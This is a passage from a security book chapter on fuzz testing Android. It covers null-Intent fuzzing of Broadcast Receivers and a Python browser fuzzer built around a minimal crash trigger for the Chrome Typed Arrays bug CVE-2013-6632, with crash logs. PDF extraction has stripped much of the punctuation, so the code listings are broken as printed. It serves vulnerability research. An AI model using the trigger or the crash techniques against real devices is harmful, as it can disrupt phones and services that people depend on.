180 Chapter 6 ■ Finding Vulnerabilities with Fuzz Testing c06.indd 01:19:0:PM 02/24/2014 Page 180 Surprisingly mutation-based dumb-fuzzing has uncovered an extremely large number of bugs. It’s no surprise why it is the most popular type of fuzzing. Smart-fuzzing is another popular type of fuzz testing. As its name implies smart-fuzzing requires applying intelligence to input generation. The amount of intelligence applied varies from case to case but understanding the input’s data format is paramount. Although it requires more initial investment smart- fuzzing benef ts from a researcher’s intuition and output from analysis. For example learning the code structure of a parser can immensely improve code coverage while eliminating unnecessarily traversing uninteresting code paths. Although mutation can still be used smart-fuzzing typically relies on genera- tive methods in which inputs are generated entirely from scratch usually using a custom program or a grammar based on the input data format. Arguably a smart-fuzzer is more likely to discover security bugs than a dumb-fuzzer especially for more mature targets that stand up to a dumb-fuzzer. Although there are two main types of fuzzing nothing prevents using a hybrid approach. Combining these two approaches has the potential to generate inputs that would not be generated with either of the approaches alone. Parsing an input into data structures and then mutating it at different logical layers can be a powerful technique. A good example of this is replacing one or several HTML nodes in a DOM tree with a generated subtree. A hybrid approach using pars- ers enables limiting fuzzing to hand-selected f elds or areas within the input. Regardless of the type of fuzzing researchers use a variety of techniques to increase effectiveness when generating inputs. One trick prioritizes integer values known to cause issues such as large powers of two. Another technique involves focusing mutation efforts on input data that is likely to cause issues and avoiding those that aren’t. Modifying message integrity data or expected magic values in an input achieves shallow code coverage. Also context-dependent length values may need to be adjusted to pass sanity checks within the target software. A failure to account for these types of pitfalls means wasted tests which in turn means wasted resources. These are all things a fuzzer developer must consider when generating inputs to f nd security bugs. Processing Inputs After crafting malformed inputs the next task is to process your inputs with the target software. After all not processing inputs means not exercising the target code and that means not f nding bugs. Processing inputs is the foundation for the largest advantage of fuzzing: automation. The goal is simply to automatically and repeatedly deliver crafted inputs to the target software. Actual delivery methods vary depending on the attack vector being targeted. Fuzzing a socket-based service requires sending packets potentially requiring session setup and teardown. Fuzzing a f le format requires writing out the crafted input f le and opening it. Looking for client-side vulnerabilities may even

slide 213:

Chapter 6 ■ Finding Vulnerabilities with Fuzz Testing 181 c06.indd 01:19:0:PM 02/24/2014 Page 181 require automating complex user interactions such as opening an e-mail. These are just a few examples. Almost any communication that relies on a network has the potential to expose vulnerability. Many more attack patterns exist each with their own input processing considerations. Similar to generating inputs several techniques exist for increasing eff ciency when processing inputs. Some fuzzers fully simulate an attack by delivering each input just as an attacker would. Others process inputs at lower levels in the call stack which affords a signif cant performance increase. Some fuzzers aim to avoid writing to slow persistent storage instead opting to remain memory resident only. These techniques can greatly increase test rates but they do come at a price. Fuzzing at lower levels adds assumptions and may yield false positives that aren’t reproducible when delivered in an attack simulation. Unfortunately these types of f ndings are not security issues and can be frustrating to deal with. Monitoring Results The fourth task in conducting effective fuzz testing is monitoring test results. Without keeping an eye out for undesirable behavior it is impossible to know whether you have discovered a security issue. A single test could elicit a variety of possible outcomes. A few such outcomes include successful processing hangs program or system crashes or even permanent damage to the test system. Not anticipating and properly handling bad behavior can cause your fuzzer to stop running thereby taking away from the ability to run it without you present. Finally recording and reporting statistics enables you to quickly determine how well your fuzzer is doing. Like input crafting and processing many different monitoring options are available. A quick-and-dirty option is just to monitor system log f les for unex- pected events. Services often stop responding or close the connection when they crash during fuzzing. Watching for such events is another way of monitoring testing. You can employ a debugger to obtain granular information—such as register values—when crashes occur. It’s also possible to utilize instrumentation tools such as valgrind to watch for specif c bad behaviors. API hooking is also useful especially when fuzzing for non-memory-corruption vulnerabilities. If all else fails you could create custom hardware and software to overcome almost any monitoring challenge. Fuzzing on Android Fuzz testing on Android devices is much like fuzzing on other Linux systems. Familiar UNIX facilities—including ptrace pipes signals and other POSIX standard concepts—prove themselves useful. Because the operating system handles process isolation there is relatively little risk that fuzzing a particular

slide 214:

182 Chapter 6 ■ Finding Vulnerabilities with Fuzz Testing c06.indd 01:19:0:PM 02/24/2014 Page 182 program will have adverse effects on the system as a whole. These facilities also offer opportunities to create advanced fuzzers with integrated debuggers and more. Still Android devices do present some challenges. Fuzzing and software testing in general is a complex subject. There are many moving pieces which means there are many opportunities for things to go awry. On Android the level of complexity is heightened by facilities not present on regular Linux systems. Hardware and software watchdogs may reboot the device. Also Android’s application of the principle of least privilege leads to various programs depending on each other. Fuzzing a program that other programs depend on can cause multiple processes to crash. Further still dependencies on functionality implemented in the underlying hardware such as video decoding can cause the system to lock-up or programs to malfunction. When these situations arise they often cause fuzzing to halt. These problems must be accounted for when developing a robust fuzzer. Beyond the various continuity complications that arise Android devices present another challenge: performance. Most devices that run Android are signif cantly slower than traditional x86 machines. The emulator provided in the Android Software Development Kit SDK usually runs slower than physical devices even when running on a host using top-of-the-line hardware. Although a suff ciently robust and automated fuzzer runs well unattended decreased performance limits eff ciency. Apart from raw computational performance communications speeds also cause issues. The only channels available on most Android devices are USB and Wi-Fi. Some devices do have accessible serial ports but they are even slower. None of these mechanisms perform particularly well when transferring f les or issuing commands regularly. Further Wi-Fi can be downright painful to use when an ARM device is in a reduced power mode such as when its screen is off. Due to these issues it is benef cial to minimize the amount of data transferred back and forth from the device. Despite these performance issues fuzzing on a live Android device is still better than fuzzing on the emulator. As mentioned previously physical devices often run a build of Android that has been customized by the original equipment manufacturer OEM. If the code being targeted by a fuzzer has been changed by the manufacturer the output of a fuzzer could be different. Even without changes physical devices have code that is simply not present on an emulator image such as drivers for peripherals proprietary software and so on. While fuzzing results may be limited to a particular device or device family it is simply insuff cient to fuzz on the emulator.

slide 215:

Chapter 6 ■ Finding Vulnerabilities with Fuzz Testing 183 c06.indd 01:19:0:PM 02/24/2014 Page 183 Fuzzing Broadcast Receivers As discussed in Chapter 4 Broadcast Receivers and other interprocess commu- nication IPC endpoints are valid input points in applications and their security and robustness is often overlooked. This is true for both third-party applications and off cial Android components. This section introduces a very rudimentary very dumb fuzzing of Broadcast Receivers: null Intent fuzzing. This technique materialized by way of iSEC Partners’ IntentFuzzer application released circa 2010. Though not popularized or highlighted too much beyond the initial release of that application this approach can help to quickly identify juicy targets and guide additional more focused and more intelligent fuzzing efforts. Identifying a Target First you need to identify which Broadcast Receivers are registered which you can do either for a single target application or system wide. You can identify a single target application programmatically by using the PackageManager class to query for installed apps and their respective exported receivers as demon- strated by this slightly modif ed snippet from IntentFuzzer: protected ArrayListComponentName getExportedComponents ArrayListComponentName found new ArrayListComponentName PackageManager pm getPackageManager for PackageInfo pi : pm .getInstalledPackagesPackageManager.GET_DISABLED_COMPONENTS | PackageManager.GET_RECEIVERS PackageItemInfo items null if items null forPackageItemInfo pii : items found.addnew ComponentNamepi.packageName pii.name return found The getPackageManager method returns a PackageManager object pm. Next getInstalledPackages is called f ltering only for enabled Broadcast Receivers and the package name and component name are stored in the found array. Alternatively you can use Drozer to enumerate Broadcast Receivers on a target device or for a specif c application much as was shown in Chapter 4. The following excerpt lists broadcast receivers system wide and for the single application com.yougetitback.androidapplication.virgin.mobile.

slide 216:

184 Chapter 6 ■ Finding Vulnerabilities with Fuzz Testing c06.indd 01:19:0:PM 02/24/2014 Page 184 dz run app.broadcast.info Package: android Receiver: com.android.server.BootReceiver Permission: null Receiver: com.android.server.MasterClearReceiver Permission: android.permission.MASTER_CLEAR Package: com.amazon.kindle Receiver: com.amazon.kcp.redding.MarketReferralTracker Permission: null Receiver: com.amazon.kcp.recommendation.CampaignWebView Permission: null Receiver: com.amazon.kindle.StandaloneAccountAddTracker Permission: null Receiver: com.amazon.kcp.reader.ui.StandaloneDefinitionContainerModule Permission: null ... dz run app.broadcast.info -a \ com.yougetitback.androidapplication.virgin.mobile Package: com.yougetitback.androidapplication.virgin.mobile Receiver: com.yougetitback.androidapplication.settings.main.Entranc... Permission: android.permission.BIND_DEVICE_ADMIN Receiver: com.yougetitback.androidapplication.MyStartupIntentReceiver Permission: null Receiver: com.yougetitback.androidapplication.SmsIntentReceiver Permission: null Receiver: com.yougetitback.androidapplication.IdleTimeout Permission: null Receiver: com.yougetitback.androidapplication.PingTimeout ... Generating Inputs Understanding what a given input like an Intent receiver expects or can con- sume typically requires having a base test case or analyzing the receiver itself. Chapter 4 includes some step-by-step analysis of a target app along with a particular Broadcast Receiver therein. However given the nature of IPC on Android you can hit the ground running without investing a great deal of time. You do this by simply constructing explicit Intent objects with absolutely no other properties extras f ags URIs etc.. Consider the following code snippet also based on IntentFuzzer: protected int fuzzBRListComponentName comps int count 0 for int i 0 i comps.size i++ Intent in new Intent in.setComponentcomps.geti ...

slide 217:

Chapter 6 ■ Finding Vulnerabilities with Fuzz Testing 185 c06.indd 01:19:0:PM 02/24/2014 Page 185 In the preceding code snippet the fuzzBR method receives and iterates through the list of app component names. On each iteration an Intent object is created and setComponent is called which sets the explicit destination component of the Intent. Delivering Inputs Delivery of Intents can be achieved programmatically by simply calling the sendBroadcast function with the Intent object. The following code excerpt implements the algorithm expanding upon the previously listed snippet. protected int fuzzBRListComponentName comps int count 0 for int i 0 i comps.size i++ Intent in new Intent in.setComponentcomps.geti sendBroadcastin count++ return count Alternatively you can use the am broadcast command to achieve the same effect. An example of using this command is shown here: am broadcast -n com.yougetitback.androidapplication.virgin.mobile/co\ m.yougetitback.androidapplication.SmsIntentReceiver You execute the command passing the target application and component in this case the Broadcast Receiver as the parameter to the -n option. This effec- tively creates and delivers an empty Intent. Using this technique is preferred when performing quick manual testing. It can also be used to develop a fuzzer using only shell commands. Monitoring Testing Android also provides quite a few facilities for monitoring your fuzzing run. You can employ logcat as the source for indicators of a crash. These faults will most likely manifest in the form of an unhandled exception Java-style such as a NullPointerException. For instance in the following excerpt you can see that the SmsIntentReceiver Broadcast Receiver appears to do no validation of the incoming Intent object or its properties. It also doesn’t handle exceptions particularly well. E/AndroidRuntime 568: FATAL EXCEPTION: main E/AndroidRuntime 568: java.lang.RuntimeException: Unable to start receiver com.yougetitback.androidapplication.SmsIntentReceiver: java.lang.NullPointerException

slide 218:

186 Chapter 6 ■ Finding Vulnerabilities with Fuzz Testing c06.indd 01:19:0:PM 02/24/2014 Page 186 E/AndroidRuntime 568: at android.app.ActivityThread.handleReceiverActivityThread.java:2236 E/AndroidRuntime 568: at android.app.ActivityThread.access1500ActivityThread.java:130 E/AndroidRuntime 568: at android.app.ActivityThreadH.handleMessageActivityThread.java:1271 E/AndroidRuntime 568: at android.os.Handler.dispatchMessageHandler.java:99 E/AndroidRuntime 568: at android.os.Looper.loopLooper.java:137 E/AndroidRuntime 568: at android.app.ActivityThread.mainActivityThread.java:4745 E/AndroidRuntime 568: at java.lang.reflect.Method.invokeNativeNative Method E/AndroidRuntime 568: at java.lang.reflect.Method.invokeMethod.java:511 E/AndroidRuntime 568: at com.android.internal.os.ZygoteInitMethodAndArgsCaller.runZygoteInit. java:786 E/AndroidRuntime 568: at com.android.internal.os.ZygoteInit.mainZygoteInit.java:553 E/AndroidRuntime 568: at dalvik.system.NativeStart.mainNative Method E/AndroidRuntime 568: Caused by: java.lang.NullPointerException E/AndroidRuntime 568: at com.yougetitback.androidapplication.SmsIntentReceiver.onReceive SmsIntentReceiver.java:1150 E/AndroidRuntime 568: at android.app.ActivityThread.handleReceiverActivityThread.java:2229 E/AndroidRuntime 568: ... 10 more Even OEM- and Google-provided components can fall prey to this approach often with interesting results. On a Nexus S we applied our approach to the PhoneAppNotificationBroadcastReceiver receiver which is a component of the com.android.phone package. The output from logcat at the time is presented in the following code: D/PhoneApp 5605: Broadcast from Notification: null ... E/AndroidRuntime 5605: java.lang.RuntimeException: Unable to start receiver com.android.phone.PhoneAppNotificationBroadcastReceiver: java.lang.NullPointerException E/AndroidRuntime 5605: at android.app.ActivityThread.handleReceiverActivityThread.java:2236 ... W/ActivityManager 249: Process com.android.phone has crashed too many times: killing I/Process 5605: Sending signal. PID: 5605 SIG: 9 I/ServiceManager 81: service simphonebook died I/ServiceManager 81: service iphonesubinfo died I/ServiceManager 81: service isms died

slide 219:

Chapter 6 ■ Finding Vulnerabilities with Fuzz Testing 187 c06.indd 01:19:0:PM 02/24/2014 Page 187 I/ServiceManager 81: service sip died I/ServiceManager 81: service phone died I/ActivityManager 249: Process com.android.phone pid 5605 has died. W/ActivityManager 249: Scheduling restart of crashed service com.android.phone/.TelephonyDebugService in 1250ms W/ActivityManager 249: Scheduling restart of crashed service com.android.phone/.BluetoothHeadsetService in 11249ms V/PhoneStatusBar 327: setLightsOntrue I/ActivityManager 249: Start proc com.android.phone for restart com.android.phone: pid5638 uid1001 gids3002 3001 3003 1015 1028 ... Here you see the receiver raising a NullPointerException. In this case how- ever when the main thread dies the ActivityManager sends the SIGKILL signal to com.android.phone. The result is the death of services like sip phone isms associated Content Providers that handle things like SMS messages and more. Accompanying this the familiar Force Close modal dialog appears on the device as shown in Figure 6-1. Figure 6-1: Force Close dialog from com.android.phone Though not particularly glamorous a quick null Intent fuzzing run effectively discovered a fairly simple way to crash the phone application. At f rst glance this seems to be nothing more than a casual annoyance to the user—but it doesn’t end there. Shortly after rild receives a SIGFPE signal. This typically indicates an erroneous arithmetic operation often a divide-by-zero. This actually results in a crash dump which is written to the log and to a tombstone f le. The follow- ing code shows some relevant details from the crash log. Build fingerprint: google/soju/crespo:4.1.2/JZO54K/485486:user/release-keys pid: 5470 tid: 5476 name: rild /system/bin/rild signal 8 SIGFPE code -6 fault addr 0000155e r0 00000000 r1 00000008 r2 00000001 r3 0000000a r4 402714d4 r5 420973f8 r6 0002e1c6 r7 00000025 r8 00000000 r9 00000000 sl 00000002 fp 00000000 ip fffd405c sp 40773cb0 lr 40108ac0 pc 40106cc8 cpsr 20000010 ... backtrace:

slide 220:

188 Chapter 6 ■ Finding Vulnerabilities with Fuzz Testing c06.indd 01:19:0:PM 02/24/2014 Page 188 00 pc 0000dcc8 /system/lib/libc.so kill+12 01 pc 0000fabc /system/lib/libc.so __aeabi_ldiv0+8 02 pc 0000fabc /system/lib/libc.so __aeabi_ldiv0+8 ... By looking at the back trace from this crash report you can see the fault had something to do with the ldiv0 function in libc.so which apparently calls the kill function. The relationship between rild and the com.android.phone application may be apparent to those more familiar with Android—and is dis- cussed in greater detail in Chapter 11. Our simple fuzzing run reveals that this particular Broadcast Receiver has some effect on an otherwise fundamentally core component of Android. Although null Intent fuzzing may not lead to the discovery of many exploitable bugs it’s a good go-to for f nding endpoints with weak input validation. Such endpoints are great targets for further exploration. Fuzzing Chrome for Android The Android Browser is an attractive fuzz target for many reasons. First it is a standard component that is present on all Android devices. Also the Android browser is composed of Java JNI C++ and C. Because web browsers focus heav- ily on performance a majority of the code is implemented in native languages. Perhaps due to its complexity many vulnerabilities have been found in browser engines. This is especially true for the WebKit engine that the Android browser is built on. It’s easy to get started fuzzing the browser since very few external dependencies exist only a working Android Debug Bridge ADB environ- ment is needed to get started. Android makes it easy to automate processing inputs. Most important as discussed in Chapter 5 the web browser exposes an absolutely astonishing amount of attack surface through all of the technologies that it supports. This section presents a rudimentary fuzzer called BrowserFuzz. This fuzzer targets the main rendering engine within the Chrome for Android browser which is one of the underlying dependency libraries. As is typical with any fuzzing the goal is to exercise Chrome’s code with many malformed inputs. Next this section explains how we selected which technology to fuzz generated inputs delivered them for processing and monitored the system for crashes. Code excerpts from the fuzzer support the discussion. The complete code is included with the materials on the book’s website. Selecting a Technology to Target With a target as large and complex as a web browser it’s challenging to decide exactly what to fuzz. The huge number of supported technologies makes it

slide 221:

Chapter 6 ■ Finding Vulnerabilities with Fuzz Testing 189 c06.indd 01:19:0:PM 02/24/2014 Page 189 infeasible to develop a fuzzer that exercises all of the functionality. Even if you developed such a fuzzer it would be unlikely to obtain an acceptable level of code coverage. Instead it’s best to focus fuzzing efforts on a smaller area of code. Exempli gratia concentrate on fuzzing SVG or XSLT alone or perhaps focus on the interaction between two technologies like JavaScript and HTML. Choosing exactly where to focus fuzzing efforts is one of the most important parts of any browser fuzzing project. A good target is one that seemingly contains the most features and is less likely to have already been audited by others. For example closed-source components can be diff cult to audit and making them an easy target for fuzzing. Another thing to consider when choosing a browser technology is the amount of documentation. Less-documented functionality has the probability of being poorly implemented giving you a better chance of causing a crash. Before selecting a technology gather as much information as possible about what technologies are supported. Browser compatibility sites like http:// mobilehtml5.org/ and http://caniuse.com/ contain a wealth of knowledge about what technologies are supported by various browsers. Finally the ulti- mate resource is the source code itself. If the source code is not available for the target technology reverse engineering binaries enhances fuzzer development. It’s also worthwhile to research the technology in depth or review past bugs or vulnerabilities discovered in the target code or similar code. In short gathering more information leads to more informed decisions. For simplicity’s sake we decided to focus on HTML version 5. This specif ca- tion represents the f fth incarnation of the core language of web browser tech- nology. At the time of this writing it is still fairly young and has yet to become a W3C recommendation. That said HTML5 has become the richest and most encompassing version of HTML to date. It includes direct support for tags like video and audio. Further it supports canvas which is a scriptable graph- ics context that allows drawing and rendering graphics programmatically. The richness of HTML5 comes from its heavy reliance on scripting which makes extremely dynamic content possible. This text focuses on an HTML version 5 feature that was added relatively recently within the Chrome for Android browser: Typed Arrays. This feature allows a web developer access to a region of memory that is formatted as a native array. Consider the following code excerpt: var arr new Uint8Array16 for var n 0 n arr.length n++ arrn n This code creates an array of sixteen elements and initializes it to contain the numbers 0 through 15. Behind the scenes the browser stores this data the

slide 222:

190 Chapter 6 ■ Finding Vulnerabilities with Fuzz Testing c06.indd 01:19:0:PM 02/24/2014 Page 190 same way a native array of unsigned characters would be stored. The following excerpt shows the native representation: 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f As shown in the preceding code the data is packed very tightly together. This fact makes it very eff cient and convenient for passing to underlying code that operates on arrays in native representation. A great example is image libraries. By not having to translate data back and forth between JavaScript and native representations the browser and consequently the web application can achieve greater performance through improved eff ciency. At the 2013 Mobile Pwn2Own competition the researcher known as Pinkie Pie demonstrated a successful compromise of the Chrome for Android browser running on fully updated Nexus 4 with Android 4.3. Shortly thereafter f xes for the issues exploited by Pinkie Pie were committed to the affected open source repositories. When taking a closer look Jon Butler of MWR Labs spotted a change in the Typed Arrays code implemented in the V8 JavaScript engine used by Chrome. After realizing the issue he tweeted a minimal proof-of-concept trigger for the vulnerability as shown in Figure 6-2. Figure 6-2: Minimal trigger for CVE-2013-6632 Upon seeing this proof-of-concept we were inspired to develop a fuzzer that further exercised the Typed Arrays code within Chrome for Android. If such an egregious mistake was present there may be further issues lurking within. With a target selected we were ready to develop the code needed to get started fuzz testing this functionality. Generating Inputs The next step in the process of creating this fuzzer is to develop code to pro- grammatically generate test cases. Unlike mutation-based dumb fuzzing we instead use a generative approach. Starting from the minimal proof-of-concept published by Jon Butler we aim to develop a rudimentary page generator. Each

slide 223:

Chapter 6 ■ Finding Vulnerabilities with Fuzz Testing 191 c06.indd 01:19:0:PM 02/24/2014 Page 191 page contains some boilerplate code that executes a JavaScript function after it is loaded. Then we randomly generate some JavaScript that exercises the Typed Array functionality within the JavaScript function itself. Thus the core of our generative algorithm focuses on the body of the JavaScript function. First we break the minimal trigger down into the creation of two separate arrays. In the proof-of-concept the f rst array is a traditional JavaScript array that is reserved for a particular size. By default it gets f lled with zero values. The creation of this array is nested inside the minimal trigger but can instead be done separately. Using this form the minimal trigger becomes var arr1 new Array0x24924925 var arr2 new Float64Arrayarr1 We use this notation in our fuzzer as it allows us to try other Typed Array types in place of the traditional JavaScript Array type. To generate the code that creates the f rst array we used the following code: 45 page + " try " + generate_var + " catche console.loge \n" Here we use the generate_var function to create the declaration of the f rst array. We wrap the creation of the array in a try-catch block and print any error that occurs to the browser’s console. This helps quickly discover potential issues in what we are generating. The following is the code for the generate_var function: 64 def generate_var: 65 vtype random.choiceTYPEDARRAY_TYPES 66 vlen rand_num 67 return "var arr1 new sd" vtype vlen First we randomly choose a Typed Array type from our static array of sup- ported types. Following that we choose a random length for the array using the rand_num function. Finally we use the type and random length to create the declaration of our f rst array. Next we turn our attention to generating the second array. This array is created from the f rst array and uses its size. The vulnerability hinges on the f rst array being within a particular range of sizes for two reasons. First and foremost it leads to an integer overf ow occurring when calculating the size of the memory region to be allocated for the second array. Second it needs to pass some validation that was meant to prevent the code from proceeding in the case that an integer overf ow had occurred. Unfortunately the check was incorrectly performed in this case. Here is an excerpt with the code that gener- ates the second array: 49 page + " try " + generate_assignment + " catche console.loge \n"

slide 224:

192 Chapter 6 ■ Finding Vulnerabilities with Fuzz Testing c06.indd 01:19:0:PM 02/24/2014 Page 192 Similar to how we generate the creation of the f rst array we wrap the creation in a try-catch block. Instead of using the generate_var function we use the generate_assignment function. The code for this function follows: 69 def generate_assignment: 70 vtype random.choiceTYPEDARRAY_TYPES 71 return "var arr2 new sarr1" vtype This function is a bit simpler because we don’t need to generate a random length. We simply choose a random T yped Array type and generate the JavaScript to declare the second array based on the f rst. In this fuzzer the rand_num function is crucial. In the minimal trigger a rather large number is used. In an attempt to generate values similar to that value we devised the algorithm shown here: def rand_num: divisor random.randrange0x8 + 1 dividend 0x100000000 / divisor if random.randrange3 0: addend random.randrange10 addend - 5 dividend + addend return dividend First we select a random divisor between 1 and 8. We don’t use zero as divid- ing by 0 would crash our fuzzer. Further we don’t use any numbers greater than 8 because 8 is the largest size for an element in any of the Typed Array types Float64Array. Next we divide 2 32 by our randomly selected divisor. This yields a number that is likely to trigger an integer overf ow when multiplied. Finally we add a number between –5 and 4 to the result with a one-in-three probability. This helps discover corner cases where an integer overf ow occurs but doesn’t cause ill behavior. Finally we compile a list of the Typed Array types from the specif cation. A link to the specif cation is provided in Appendix C included in this book. We put the types into the global Python array called TYPEDARRAY_TYPES that is used by the generate_var and generate_assignment functions. When combined with the boilerplate code that executes our generated JavaScript function we are able to generate functional inputs in the form of HTML5 pages that exercise Typed Arrays. Our input generation task is complete and we are ready to get our Android devices processing them. Processing Inputs Now that the browser fuzzer is generating interesting inputs the next step is to get the browser processing them. Although this task is often the least sexy to

slide 225:

Chapter 6 ■ Finding Vulnerabilities with Fuzz Testing 193 c06.indd 01:19:0:PM 02/24/2014 Page 193 implement without it you cannot achieve the automation that makes fuzz testing so great. Browsers primarily take input based on Universal Resource Locators URLs. Diving deep into all of the complexities involved in URL construction and parsing is out of the scope of this chapter. What’s most important is that the URL tells the browser what mechanism to use to obtain the input. Depending on which mechanism is used the input must be delivered accordingly. BrowserFuzz provides inputs to the browser using HTTP . It’s likely that other means such as uploading the input and using a file:// URL would work but they were not investigated. To deliver inputs via HTTP the fuzzer implements a rudimentary HTTP server based on the Twisted Python framework. The relevant code is shown here: 13 from twisted.web import server resource 14 from twisted.internet import reactor ... 83 class FuzzServerresource.Resource: 84 isLeaf True 85 page None 86 def render_GETself request: 87 path request.postpath0 88 if path "favicon.ico": 89 request.setResponseCode404 90 return "Not found" 91 self.page generate_page 92 return self.page 93 94 if __name__ "__main__": 95 Start the HTTP server 96 server_thread FuzzServer 97 reactor.listenTCPLISTEN_PORT server.Siteserver_thread 98 threading.Threadtargetreactor.run argsFalse.start As stated previously this HTTP server is quite rudimentary. It only responds to GET requests and has very little logic for what to return. Unless the favicon .ico f le is requested the server always returns a generated page which it saves for later. In the icon case a 404 error is returned to tell the browser that no such f le is available. In the main portion of the fuzzer the HTTP server is started in its own background thread. Thanks to Twisted nothing further needs to be done to serve the generated inputs. With an HTTP server up and running the fuzzer still needs to do one more thing to get inputs processed automatically. It needs to instruct the browser to load pages from the corresponding URL. Automating this process on Android is very easy thanks to ActivityManager. By simply sending an Intent using the am command-line program you can simultaneously start the browser and tell it where to load content from. The following excerpt from the execute_test function inside BrowserFuzz does this.

slide 226:

194 Chapter 6 ■ Finding Vulnerabilities with Fuzz Testing c06.indd 01:19:0:PM 02/24/2014 Page 194 57 tmpuri "fuzzyouidd" time.time 58 output subprocess.Popen adb shell am start 59 -a android.intent.action.VIEW 60 -d http://s:d/s LISTEN_HOST LISTEN_PORT tmpuri 61 -e com.android.browser.application_id wooo 62 com.android.chrome 63 stdoutsubprocess.PIPE stderrsubprocess.STDOUT.communicate0 Line 57 generates a time-based query string to request. The time is used to ensure that the browser will request a fresh copy of the content each time instead of reusing one from its cache. Lines 58 through 63 actually execute the am command on the device using ADB. The full command line that BrowserFuzz uses is fairly lengthy and involved. It uses the start subcommand which starts an Activity. Several Intent options follow the subcommand. First the Intent action android.intent.action.VIEW is specif ed with the -a switch. This particular action lets the ActivityManager decide how to handle the request which in turn decides based on the data specif ed with the -d switch. BrowserFuzz uses an HTTP URL that points back to the server that it started which causes ActivityManager to launch the default browser. Next the -e switch provides extra data to Chrome that sets com.android .browser.application_id to “wooo” . This has the effect of opening the request in the same browser tab instead of creating a new tab for each execution. This is particularly important because creating tons of new tabs wastes memory and makes restarting a crashed browser more time consuming. Further reopening previous test cases on restart is unlikely to help f nd a bug because such inputs were already processed once. The f nal part of the command specif es the package that should be started. Though this fuzzer uses com.android.chrome target- ing other browsers is also possible. For example the old Android Browser on a Galaxy Nexus can be launched by using the com.google.android.browser package name instead. Because BrowserFuzz aims to test many inputs automatically the f nal piece of the input processing puzzle is a trivial loop that repeatedly executes tests. Here is the code: 45 def runself: 46 while self.keep_going: 47 self.execute_test As long as the f ag keep_going is true BrowserFuzz will continually execute tests. With tests executing the next step is to monitor the target application for ill behavior. Monitoring Testing As discussed earlier in this chapter monitoring the behavior of the target pro- gram is essential to knowing whether you’ve discovered something noteworthy.

slide 227:

Chapter 6 ■ Finding Vulnerabilities with Fuzz Testing 195 c06.indd 01:19:0:PM 02/24/2014 Page 195 Though a variety of techniques for monitoring exist BrowserFuzz uses a sim- plistic approach. Recall from Chapter 2 that Android contains a system logging mechanism that is accessible using the logcat command. This program exists on all Android devices and is exposed directly via ADB. Also recall that Android contains a special system process called debuggerd. When a process on Android crashes debuggerd writes information about the crash to the system log. BrowserFuzz relies on these two facilities to achieve its monitoring. Prior to starting Chrome the fuzzer clears the system log to remove any irrelevant entries. The following line does this: 54 subprocess.Popen adb logcat -c .wait clear log As before we use the subprocess.Popen Python function to execute the adb command. This time we use the logcat command passing the -c argument to clear the log. Next after pointing the browser at its HTTP server the fuzzer gives the browser some time to process the crafted input. To do this it uses Python’s time.sleep function: 65 time.sleep60 give the device time hopefully crash We pass a number of seconds that gives Chrome enough time to process our crafted input. The number here is quite large but this is intentional. Processing large TypedArrays can take a decent amount of time especially when running on a relatively low-powered device. The next step is to examine the system log to see what happened. Again we use the adb logcat command as shown here: 68 log subprocess.Popen adb logcat -d dump 69 stdoutsubprocess.PIPE stderrsubprocess.STDOUT.communicate0 This time we pass the -d argument to tell logcat to dump the contents of the system log. We capture the output of the command into the log variable. To do this we use the stdout and stderr options of subprocess.Popen combined with the communicate method of the returned object. Finally we examine the log contents in our fuzzer using the following code. 72 if log.findSIGSEGV -1: 73 crashfn os.path.joincrashes tmpuri 74 print " Crash Saving page/log to s" crashfn 75 with opencrashfn "wb" as f: 76 f.writeself.server.page 77 with opencrashfn + .log "wb" as f: 78 f.writelog The most interesting crashes from a memory corruption point of view are segmentation violations. When these appear in the system logs they contain the

slide 228:

196 Chapter 6 ■ Finding Vulnerabilities with Fuzz Testing c06.indd 01:19:0:PM 02/24/2014 Page 196 string SIGSEGV. If we don’t f nd the string in the system log output we discard the generated input and try again. If we do f nd the string we can be relatively certain that a crash occurred due to our fuzz testing. After a crash is observed we store the system log information and gener- ated input f le locally for later analysis. Having this information on the local machine allows us to quickly examine crashes in another window while letting the fuzzer continue to run. To prove the effectiveness of this fuzzer the authors ran the fuzzer for sev- eral days. The specif c test equipment was a 2012 Nexus 7 running Android 4.4. The version of the Chrome for Android app available at the time of Mobile Pwn2Own 2013 was used. This version was obtained by uninstalling updates to the app within Settings ➢ Apps and disabling updates within Google Play. The following shows the specif c version information: W/google-breakpad12273: Chrome build fingerprint: W/google-breakpad12273: 30.0.1599.105 W/google-breakpad12273: 1599105 W/google-breakpad12273: ca1917fb-f257-4e63-b7a0-c3c1bc24f1da While testing monitoring the system log in another window provided addi- tional insight into the progress of the fuzzer. Specif cally it revealed that a few of the TypedArray types are not supported by Chrome as evidenced by the following output. I/chromium 1690: INFO:CONSOLE10 "ReferenceError: ArrayBufferView is not defined" source: http://10.0.10.10:31337/fuzzyouid1384731354 10 ... I/chromium 1690: INFO:CONSOLE10 "ReferenceError: StringView is not defined" source: http://10.0.10.10:31337/fuzzyouid1384731406 10 Commenting out those types improves the effectiveness of the fuzzer. Without monitoring the system log this would go unnoticed and test cycles would be needlessly wasted. During testing hundreds of crashes occurred. Most of the crashes were NULL pointer dereferences. Many of these were due to out-of-memory conditions. The output from one such crash follows. Build fingerprint: google/nakasi/grouper:4.4/KRT16O/907817:user/release- keys Revision: 0 pid: 28335 tid: 28349 name: ChildProcessMai com.android.chrome:sandboxed_process3 signal 11 SIGSEGV code 1 SEGV_MAPERR fault addr 00000000 r0 00000000 r1 00000000 r2 c0000000 r3 00000000 r4 00000000 r5 00000000 r6 00000000 r7 00000000 r8 6ad79f28 r9 37a08091 sl 684e45d4 fp 6ad79f1c ip 00000000 sp 6ad79e98 lr 00000000 pc 4017036c cpsr 80040010

slide 229:

